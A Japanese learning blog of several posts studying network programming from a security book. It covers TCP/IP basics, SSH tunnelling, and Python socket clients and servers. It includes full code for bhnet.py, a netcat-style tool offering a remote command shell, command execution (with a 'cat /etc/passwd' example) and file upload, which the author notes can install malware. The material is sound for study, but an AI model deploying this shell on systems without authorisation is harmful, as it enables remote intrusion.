2章の最後はSSHトンネリングについて SSHトンネリングとはなんぞや、ということなのですが。 これはSSHポートフォワードともいいまして、特定のポート番号に届けられたメッセージを、特定のIPアドレス、ポート番号に転送する仕組み。 sshクライアントとsshサーバー間のみSSHが暗号化したTCP通信を行い、残りは通常のTCP通信を行う。 SSHコネクションを経由、というらしいのでやはりセキュリティが確保された通信なんだろう。

ここでやることは今まで通り、SSHクライアント上で入力されたコマンドを遠隔地のSSHサーバー上で動かすことだが、コマンドをSSHトンネリングを用いて送るのだ。 大切なことは、SSHコネクションは送信データをすべてまとめて送信するってこと。

他にもリバースポートフォワーディングや、ダイナミックポートフォワーディングなどもある。

https://www.xmisao.com/2013/09/12/ssh-portforwarding.html

なんか勝手に参照してますがいいんですかねこれ。でも詳しいのでありがとうございます。

で、実際のコードなのですが、

https://github.com/paramiko/paramikoのdemoディレクトリの中のrforward.pyです。

ちょっと今日は疲れたので、これ以上はやらないけどポートフォワーディングの逆なんだなーってのがわかったのでまあよしとしよう(あまい?)。

今思ったけど、解説しますとかちょいちょいいうけどほぼ自分の言葉じゃないんよな。 ので解説はしません。すべて自分の勉強のために書いてます。

とにかく2章はいったん終わり!

サイバーセキュリティプログラミング Day2

早速サーバーやってこ

tcp_server.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import threading

bind_ip   = "0.0.0.0"
bind_port = 9999

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip,bind_port)

# クライアントからの接続を処理するスレッド
def handle_client(client_socket):

    # クライアントが送信してきたデータを表示
    request = client_socket.recv(1024)

    print "[*] Received: %s" % request

    # パケットの返送
    client_socket.send("ACK!")

    client_socket.close()


while True:

    client,addr = server.accept()

    print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])

    # 受信データを処理するスレッドの起動
    client_handler = threading.Thread(target=handle_client,args=(client,))
    client_handler.start()

ここで重要なのはなんといってもスレッドですよねー。

まず最初の部分の説明

clientの時と同じように、socket関数でソケットオブジェクトの作成。AF_INETでIP通信しますよ。SOCK_SREAMでTCP通信しますよ。 server.bindでソケットをアドレスにバインドする。要は接続を待ち受けるIPアドレスとポート番号を指定する。

listenの引数となるのは、キューの最大数。今回は5で、接続の待ち受けを開始する。 ここにパケットが流れてくるってことね。前回のオーバーフローってのはここに当てはまるんかな?ちなみに逆はキュー・アンダーフローっていうらしい。簡単とは思うけど、いつかキューとスタックも実装したい。 オーバーフロー、アンダーフローのこともかけたらいいよね。

で、そのあとは待っているっていう状態の表示。

handle_client関数

これは実際に呼び出されるのは最後らへんなのだけども、先に説明するとクライアントからの接続を処理するスレッド。 まずクライアントが送信してきたデータを表示。handle_clientの引数のclient_socketは後で出てくるけどThread関数であるように、引数タプルで指定される。ここではclientなので、クライアントの接続を待ってからclientの情報を入れる感じね。

で、受け取ったメッセージを表示する。 そのあと、パケットを返送するのでACK(コメント)を送る。

最後にcloseするんですが、「一度この操作をすると、その後、このソケットオブジェクトに対するすべての操作が失敗します。キューに溜まったデータがフラッシュされた後は、リモート側の端点ではそれ以上のデータを受信しません。」だそうです。「ソケットはガベージコレクション時に自動的にクローズされます。しかし、明示的に close() するか、 with 文の中でソケットを使うことを推奨します。」とあるので、with文ってのは

while True:
    # accept connections from outside
    (clientsocket, address) = serversocket.accept()
    # now do something with the clientsocket
    # in this case, we'll pretend this is a threaded server
    ct = client_thread(clientsocket)
    ct.run()

こういうのをいうらしい。たぶん とりあえずclose()は書いたほうがいいのかなってことね。ガベージコレクションについては詳しくはほかのところで。 まあ簡単に言うと、実行速度を速くするために使い終わったプログラムは捨ててしまおう、っていうメモリ管理のためのものね。

while以下

さっきも説明したけど、while自体はサーバーのメインループを実行し接続が来るのを待つ役割。 クライアントが接続してきたらクライアントソケットのオブジェクトをclient変数に、クライアントの接続情報をaddr変数にそれぞれ格納する。

で、最後にスレッドを準備してクライアントからの接続を処理するためのスレッドを開始する。

ここで出てきたACKってのはそれなりに重要で、送信したデータが受信ホストに到達したとき、受信ホストは押す新ホストにデータが到達したことを知らせる。これを確認応答(ACK)っていいます。逆に到達してないことを伝えるときは否定確認応答(NACK:Negative Acknowlledgement)という。

Netcatの置き換え

そもそもNetcatとは、、、

http://www.intellilink.co.jp/article/column/security-net01.html

ここを参照してください。

コードは長いので、関数ごとに説明します。

bhnet.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import socket
import getopt
import threading
import subprocess

# グローバル変数の定義
listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0

ここではライブラリのインポート、グローバル変数の設定を行っている。

準備

def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhnet.py -t target_host -p port"
    print "-l --listen              - listen on [host]:[port] for"
    print "                           incoming connections"
    print "-e --execute=file_to_run - execute the given file upon"
    print "                           receiving a connection"
    print "-c --command             - initialize a command shell"
    print "-u --upload=destination  - upon receiving connection upload a"
    print "                           file and write to [destination]"
    print
    print
    print "Examples: "
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe"
    print "bhnet.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | ./bhnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)

ここはもし定義していないコマンドラインパラメーターが指定されていた場合、スクリプトの使い方を表示。

main関数

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # コマンドラインオプションの読み込み
    try:
        opts, args = getopt.getopt(
                sys.argv[1:],
                "hle:t:p:cu:",
                ["help", "listen", "execute=", "target=",
                 "port=", "command", "upload="])
    except getopt.GetoptError as err:
        print str(err)
        usage()

    for o,a in opts:
        if o in ("-h", "--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False, "Unhandled Option"

    # 接続を待機する?それとも標準入力からデータを受け取って送信する?
    if not listen and len(target) and port > 0:

        # コマンドラインからの入力を`buffer`に格納する。
        # 入力がこないと処理が継続されないので
        # 標準入力にデータを送らない場合は CTRL-D を入力すること。
        buffer = sys.stdin.read()

        # データ送信
        client_sender(buffer)

    # 接続待機を開始。
    # コマンドラインオプションに応じて、ファイルアップロード、
    # コマンド実行、コマンドシェルの実行を行う。
    if listen:
        server_loop()

try以下、コマンドラインオプションを読み込んでいる。 getoptはコマンドラインオプションとパラメータのリストを構文解析する関数で、C言語でも使われていたようだ。第1引数は構文解析の対象になる引数のリスト。通常はsys.argv[1:]で与えられる。第2引数はスクリプトで認識させたいオプション文字と、引数が必要な場合にはコロン (':') をつける。第3引数は長形式のオプションの名前を示す文字列のリスト。 返り値は2つの要素からなり、最初は (option, value) のタプルのリスト、2つ目はオプションリストを取り除いたあとに残ったプログラムの引数リストが返ってくる。

tryがくればexcept。ここではGetoptErrorが呼び出されたとき、となっているがこれは、引数リストの中に認識できないオプションがあった場合か、引数が必要なオプションに引数が与えられなかった場合に発生する。で、usage関数を呼び出しているので、正しい引数使えよ、って呼び掛けてるんですねー。

その前のusage()を呼び出すところは、そもそも引数がないですよ、って意味で呼び出してるんですよね。

for文のところも同様で、オプションの仕様に沿ってないと、usage呼ばれちゃう。すーぐusage()呼ぶ。

その次のコードブロックif文のところから。 まあコード内にある説明のように、標準入力からデータを受け取ってネットワーク越しに送信する処理を行う場所。もし対話的にデータをやりとりしたいなら、Ctrl-Dを押して標準入力を読み込む処理をスキップする。無限に標準入力を待ってるからやな。

最後の部分は、接続を待ち受けるソケットを準備、コマンドの処理を行うためのコード。 まあ後で出てくる。

client_sender関数

def client_sender(buffer):

    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 標的ホストへの接続
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:
            # 標的ホストからのデータを待機
            recv_len = 1
            response = ""

            while recv_len:
                data     = client.recv(4096)
                recv_len = len(data)
                response+= data

                if recv_len < 4096:
                    break

            print response,

            # 追加の入力を待機
            buffer = raw_input("")
            buffer += "\n" #クライアントの表示をコマンドシェルと合わせるための改行

            # データの送信
            client.send(buffer)

    except:
        print "[*] Exception! Exiting."

        # 接続の終了
        client.close()

client_sender()関数は呼ばれている場所からもわかるように、クライアントとの対話をするコード。 あれ、どっかで見たことあるアルヨ。っと思ったそこのあなた!そう、これはTCPクライアントのコードに似ている。というかその応用だ!

標的ホストへの接続を行ったあと、if文の部分は、標準入力からの入力を受け取ったかどうか(bufferに値が入っているか)を確認し、リモートの標的ホストに対してデータを送信。

while文のところでは、受信データがなくなるまでデータの受信を行っている。

そのあと、raw_input()は標準入力待ちなので、待って最後にまた送信する。これらはwhile Trueからわかるようにユーザーがスクリプトを止めるまで繰り返し行われる。

server_loop関数

この関数はサーバーのメインループ処理を行う。 まあ見てわかるけど、ここはここでTCPサーバーまんまよね。

def server_loop():
    global target

    # 待機するIPアドレスが指定されていない場合は
    # 全てのインタフェースで接続を待機
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # クライアントからの新しい接続を処理するスレッドの起動
        client_thread = threading.Thread(
                target=client_handler, args=(client_socket,))
        client_thread.start()

run_command関数

これはコマンド実行処理とコマンドシェルの処理の両方を扱うスタブ関数 スタブってのは下位の部品モジュールが未完成の場合の仮のモジュールのことらしい。

def run_command(command):
    # 文字列の末尾の改行を削除
    command = command.rstrip()

    # コマンドを実行し出力結果を取得
    try:
        output = subprocess.check_output(
                command,stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"

    # 出力結果をクライアントに送信
    return output

新しいライブラリ登場。subprocessライブラリ。これはプロセス生成の場面で役に立つらしい。 第1引数はargsなので、commandにはそのままコマンドが入る。標準エラー出力を結果に含めるためにstderrを設定している。最後のshell=Trueはシェルを明示的に呼び出すものだ。 シェルってなんだろーと思って、調べてみたけどshell scriptとかのshellね。terminal的なあれですよ。(違ったらごめんなさい) http://e-words.jp/w/%E3%82%B7%E3%82%A7%E3%83%AB.html

で、最後に出力結果をクライアントに送信。(この時クライアントはずっと待っている)

client_handler関数

ラストの関数。長いね。 ファイルのアップロード、コマンド実行、コマンドシェルの実行を行う処理の実装。

そもそもclient_handlerは client_thread = threading.Thread(target=client_handler, args=(client_socket,)) ここで呼び出された! つまり、いっちばん最初らへんに説明したけど、targetってのはスレッドの活動をもたらすメソッド(run())を呼ぶもの?なのでclient_handlerがスレッドのメインの活動だとわかる。

def client_handler(client_socket):
    global upload
    global execute
    global command

    # ファイルアップロードを指定されているかどうかの確認
    if len(upload_destination):

        # すべてのデータを読み取り、指定されたファイルにデータを書き込み
        file_buffer = ""

        # 受信データがなくなるまでデータ受信を継続
        while True:
            data = client_socket.recv(1024)

            if len(data) == 0:
                break
            else:
                file_buffer += data

        # 受信したデータをファイルに書き込み
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # ファイル書き込みの成否を通知
            client_socket.send(
                "Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send(
                "Failed to save file to %s\r\n" % upload_destination)


    # コマンド実行を指定されているかどうかの確認
    if len(execute):

        # コマンドの実行
        output = run_command(execute)

        client_socket.send(output)


    # コマンドシェルの実行を指定されている場合の処理
    if command:

        # プロンプトの表示
        prompt = "<BHP:#> "
        client_socket.send(prompt)

        while True:

            # 改行(エンターキー)を受け取るまでデータを受信
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            # コマンドの実行結果を取得
            response = run_command(cmd_buffer)
            response += prompt

            # コマンドの実行結果を送信
            client_socket.send(response)

main()

最初のif文の大まかな流れは、ファイルがアップロードを指定されていたら受信し、そのデータをファイルに書き込む。 ここで大切なのは、マルウェアのインストールとPythonスクリプトの削除ができることだ。

次はコマンド実行を指定されているかどうかの確認。これはrun_command関数を実行してその結果を送る。

最後にコマンドシェルの実行を指定されている場合、送られてきたコマンドを実行してその結果を送り返す。

今日は終わり

実行結果は各自確認してほしいけど、まあこれは「基本的な」ことらしいのでいと奥深しって感じですね。

2章むずいね。また後で見直すかもしれんけども、とりあえず今からグラフ理論勉強します。 はてぶ気に入ったので同じ感じで勉強します。

明日はTCPロキシーの構築から!

サイバーセキュリティプログラミング Day 1

はじめに

早速「サイバーセキュリティプログラミング」を読み始めてみた! 基本序文から読むスタイルなので読んでみると、なんとハッカーと同じことができるという。これはと思い、まず第1章に目を通す。

python 自体は触ったことはあったので環境設定など難なくクリア、この調子で第2章からの本格的ハッキングへ入っていこう。

と思った矢先。2章は半端なく難しかった。 2章の壁は厚く、コードを読んでも全くわからない。調べても何を調べればいいのか。。。 とにかく途中で投げ出してはいけない、と思いマイルストーン、備忘録代わりにブログを書くことにした。

*ブログの書き方など気に留めていないので、読みにくさ満点になってますがご了承ください。

TCP/IPについて(知ってる人は読み飛ばしてください。かなり初歩の部分です。)

2章は「通信プログラムの作成・基礎」である。つまり通信のことがわかっていないとコードを読んでも解説を見ても何をしているのか、何を言っているのか全く頭に入ってこない。 なので、今日は通信について「マスタリングTCP/IP 入門編」を使いながら勉強する。

インターネットについて学ぶ際に100%毎回最初に出てくるのはプロトコルの話。今まで何回も見たことがあったがなかなか覚えきれなかった。 そもそもプロトコルとは、コンピュータとコンピュータがネットワークを利用して通信をするために決められた「約束ごと」であり、実際の通信プロトコルではヘッダに書き込まれる情報や、その情報をどのように処理するかを定めている。

もちろんいろんな約束ごとがあっては困るので、プロトコルは標準化され、OSIプロトコルを作った。でも、OSIはあまり普及されていないらしく、TCP/IPがよく使われているらしい。インターネット上では標準になっているので、こういうのをデファクトスタンダードっていうらしい。 まあこれによってOSとハードウェアの違いを意識せずに通信できるようになったって。

で、まあよくみるのがプロトコルの階層化。 OSI参照モデルであるように、1-7の層(レイヤ)があって物理層データリンク層ネットワーク層トランスポート層、セッション層、プレゼンテーション層、アプリケーション層に分かれている。 もちろん他の層もめっちゃ大切で後々勉強するけど、今回はTCPが使われるトランスポート層ネットワーク層に注目する。

トランスポート層は、宛先のアプリケーションにデータを確実に届ける役目。通信を行う両端のノードだけで処理され、ルーターを介さない。 後でも出てくるけど、コネクションの確立をするときはここ。当然確立があれば切断も。微妙に確立できてなかった場合は聞き返す(再送処理)も行う。

ネットワーク層は、宛先までデータを届ける役割を持つ。ルーターにも送るし、ルーターから先のネットワーク上のノードにも送る。そのためのアドレス体系決めや、どの経路を使うかなどの経路選択の役割を持つ。 これはネットワークがトランスポート層で接続されてるので、送信ホストから受信ホストまでデータを配達する役割。

ここまででなんとなく、TCPUDPの下準備完了かな?

通信方式の種類があって、本にも出てくるけど、TCPはコネクション型。UDPコネクションレス型で、TCPは先にデータが通る道を準備する(送信ホストと受信ホストの間で回線を接続)。通信の前後でコネクションの確立と切断の処理を行う。 相手の通信可否を先に判断するので、データを無駄に送らなくてもよいこと。 UDPはコネクションの確立や切断処理がない(トランスポート層は無視ってこと?)。つまり送信したければいつでもデータを送信できる。けど、受け取るほうはいつデータが来るかわからないので常に確認しなければいけない。通信速度はその分速いらしいけど、正確さはなさそう。

通信方法ではパケット交換が行われていて、パケット交換機(ルーター)によって通信回線が結ばれる。 コンピュータから送られてきたパケットを一旦ルーターのバッファに格納して、そっから転送する。 ここで、本によく出てくるキューがある。ルーターに入ってきたパケットが順番に待ち行列(キュー)を作りながらバッファに格納される。そして、先に入ってきたパケットから順番に転送される。FIFO(First In First Out)ってやつ。

パケットが大量に流れてくると、バッファオーバーフローを起こしてエラーしたり、悪意あるパケット送ったりと、いろいろできるらしい(そんな感じの攻撃があった気がする)。

ーーー小休憩ーーー

TCP/IPの基礎知識

こっからはTCP/IPの基礎知識。(今までは基礎でもなかった)

TCP/IPのことは全部仕様書RFC(Request For Comments)に書いてあるそうなのでまあいずれ読もう。

IPの仕様を決めているのはRFC791、TCPの仕様はRFC793だそうです。ありがたいね。 ここにある。 http://www.rfc-editor.org/rfc/

RFCに1回なると内容を改定しちゃいけないそう。憲法よりも厳しい。。。 新しく追加することのみオッケーってことですね。 あーでも、仕様を変更すれば古いRFCは無効になるので、実質改定みたいなもんか。。。

主要プロトコルについてはこれからも触れていくのでSTD、RFC等々でてくるよ。

インターネットの基礎知識

いろんなネットワークあるけどそれらすべて結んでインターネットっていうらしい。

それぞれのネットワークは、バックボーンと呼ばれる基幹ネットワークと、スタブと呼ばれる末端のネットワーク部分から構成される。 ネットワークとネットワークはNOC(Network Operation Center)で接続される。 で、異なる運用者や運用方針、利用方針を持つネットワークはIX(Internet Exchange)と呼ばれるポイントで接続されている。

上でOSI参照モデルが出てきたが、今回はTCP/IPの階層モデルについて触れてみたいと思う。 TCP/IPは5層でできており、アプリケーション層、トランスポート層、インターネットそう、ネットワークインタフェース層、ハードウェアである。 先ほど紹介したトランスポート層ネットワーク層に該当するのは、トランスポート層、インターネットそうである。

ネットワーク層では、IPプロトコルが使われて、IPアドレスをもとにパケットを転送する。 ルーターにはインターネット層を利用してパケットを転送する機能を実装しなければいけなくて、インターネットに接続されるすべてのホストやルーターは、必ずIPの機能を実装しなければならない。 ただ、ブリッジやリピーター、ハブはいいらしい(それぞれが何を指すのかはわからない)

以下新規単語 IP:Internet Protocol ネットワークをまたいでパケットを配送し、インターネット全体にパケットを送り届けるためのプロトコル それぞれのホストを識別するために、IPアドレスと呼ばれる識別子を使う。 パケットの再送は行わない ICMP:Internet Control Message Protocol IPパケットの配送中に何らかの異常が発生してパケットを転送できなくなった場合に、パケットの送信元に異常を知らせるために使われるプロトコル。ネットワークの診断などにも利用できる。 てことは、ペネトレーションテストで使うんかな? ARP:Address Resolution Protocol パケットの送り先の物理的なアドレス(MACアドレス)をIPアドレスから取得するプロトコル

トランスポート層の役割は、アプリケーションプログラム間の通信を実現すること。ポート番号でアプリケーションプログラムの識別をしている。

新規単語 TCP:Transmission Control Protocol 両端のホスト間でデータの到達性を保証。まあなんかほかにも素晴らしい特徴がいっぱいあってとりあえず信頼できるプロトコル。ただ、コネクションの確立/切断をするだけで制御のためのパケットを約7回もやり取りするので、転送するデータの総量が少ない場合には無駄が多くなる。ビデオ会議の音声・映像データなどの一定間隔で決められた寮のデータを転送する通信には向いてない。 UDP:User Datagram Protocol 全く信頼性のないやつ。だけど、TCPの欠点であるパケット数が少ない通信や、ブロードキャストやマルチキャストの通信、ビデオや音声などのマルチメディア通信に向いている。 通信例(一部) トランスポート層ではTCPヘッダを付加、ネットワーク層ではIPヘッダを付加(逆は解析)

TCPモジュールの処理 アプリケーションから渡されたデータの前にTCPのヘッダがつけられる。TCPのヘッダには、送信ホストと受信ホストのアプリケーションを識別するためのポート番号、そのパケットのデータが何バイト目のデータなのかを示すシーケンス番号、データが壊れていないことを保証するためのチェックサム(データのやり取りが正しく行われているかどうかを検査する方法)などが含まれる。

IPモジュールの処理 TCPヘッダ+データの前にIPヘッダを付ける。IPヘッダには、宛先のIPアドレスや送信元のIPアドレス、IPヘッダの次に続くデータがTCPなのかUDPなのかといった情報が含まれる。 IPパケットが完成したら、経路制御表(ルーティングテーブル)を参照して、IPパケットを次に受け渡すルーターやホストを決定する。

受け取るほうはちょっと違うけど、基本それぞれを解析して上のレイヤーへ渡す感じ。

マスタリングTCP/IPはここからそれぞれの層の説明に入ってくけど、今回は一気に飛ばしてメインテーマのTCPUDP

TCPUDP

おさらい

それぞれトランスポートプロトコル TCPは信頼性のある通信を提供し、UDPは同時通信や、細かい制御をアプリケーションに任せたほうがよい通信に用いられる。TCPはストリーム型の(切れ目のない)データ構造。

IPヘッダにはプロトコルフィールドが定義されており、どのトランスポートプロトコルにデータを渡すかが番号で示されている。(説明省略) TCPUDPも自分が運んでいるデータを次にどのアプリケーションに渡せばよいかを識別するための番号が定義されている。

本題

TCP/IPのアプリケーションプロトコルの多くは、一般にクライアント/サーバーモデルと呼ばれる形式で作られている。クライアントはサーバーに対してサービスの要求を行い、サーバーはクライアントからの要求を処理してサービスを提供する。サーバープログラムが先に起動されてクライアントプログラムの要求を待つ必要がある(感覚的にわかると思う)。 TCPヘッダには送信元ポート番号、宛先ポート番号、接続要求フラグが含まれていて、宛先ポート番号により、使うサーバーの種類?(サービス)が違う。TCP接続要求パケット(SYNセグメント)を作って送信開始。SYNセグメントはwiresharkで見たことあるし、今思えばTCPだった気がする。

これらのサーバープログラムはデーモンと呼ばれ、HTTPのサーバープログラムはhttpd(HTTPデーモン)、sshのサーバーはsshdSSHデーモン)と呼ばれる。また、デーモンを動かすのにも、代表としてクライアントからの要求を待つ、inetd(インターネットデーモン)というスーパーデーモンがいる。(xinetdもある) なんかおもしろいな。

スーパーデーモンはサービスの要求を受けると分身(fork)して、sshdなどのデーモンに変身(exec)する。

そろそろ飽きてきたのでコード

コード書いて解説しつつ学んでくスタイルに急遽変更

クライアント

tcp_client.py

# -*- config: utf-8 -*-

import socket

#ホストを今回はグーグルとする
target_host = "www.google.com"
#ポート番号は80なのでhttpd使用
target_port = 80

#(後述)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#ここで、ホスト名、ポート名を確認して接続を開始
client.connect((target_host, target_port))
#googleのHTTPサーバにGETリクエストを送る
client.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
#データの受信 ソケットからメッセージを受け取るのに使用 4096は一度に受信するデータの最大量
response = client.recv(4096)

print reponse

後述の部分 AF_INET:アドレス (およびプロトコル) ファミリーを示す定数で、 socket() の 最初の引数に指定することができる。IPv4のアドレスやホスト名を使用するための設定。 SOCK_STREAM:ソケットタイプを示す定数で、 socket() の2番目の引数に指定することができる。TCPを用いるための設定。

ソケットドメインはほかにもいっぱいあって予想やけど、これって他のドメイン指定すれば例えばアマチュア無線と通信できるってことなんやろうなー。ここが詳しいかも。とにかく今回はIPを使用するドメインを指定。

http://d.hatena.ne.jp/miyako_hechima/20091020/p4

ここにきて気づいたけどドキュメントめっちゃ参考になる。(人としてスタートラインにも立ててない悔しさ)

https://docs.python.jp/3/library/socket.html

流れとしては、ソケットオブジェクトの作成(ここでTCPヘッダの作成)→サーバーへ接続→データを送信→データの受信でデータを画面に表示。なんとなくTCP/IPモデルっぽい!

次はUDPクライアントのコードだ。 TCPと正反対のような通信を行うが、コードはどう変わるのだろうか。

udp_client.py

#-*- config: utf-8 -*-

import socket

target_host = "127.0.0.1"
target_port = 80

#socketオブジェクトの作成
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

#データの送信
client.sendto("AAABBBCCC", (target_host, target_port))

#データの受信
data, addr = client.recvfrom(4096)

print(data)

TCPクライアントのコードを比べてみてわかると思うが、ほぼ一緒。 でもちょっと違うのが、SOCK_DGRAM。これはUDPを使用することを宣言。 あとはsendto。これはソケットにデータを送信する。このメソッドでは接続先を address で指定するので、接続済みではいけないそう。でもUDPってコネクションレス型なので接続済みかっていうと微妙?? まあ接続済みなんでしょう。

最後にUDPは戻り値としてデータに加え、接続先のホストアドレスとポート番号が返ってきている。結果はタプル(bytes, address)で返ってくる。bytesは受信データのbytesオブジェクト。addressは送信元アドレス

終了

今日は寝るのでここまで。明日はTCP,UDPサーバーの実装からやっていきたいと思います。(実はもう明日) 微妙なとこで切り上げとはなりましたが、まあ基礎知識に時間割いたのでよしとしよう。圧倒的に勉強時間少ないけど。。。

以上。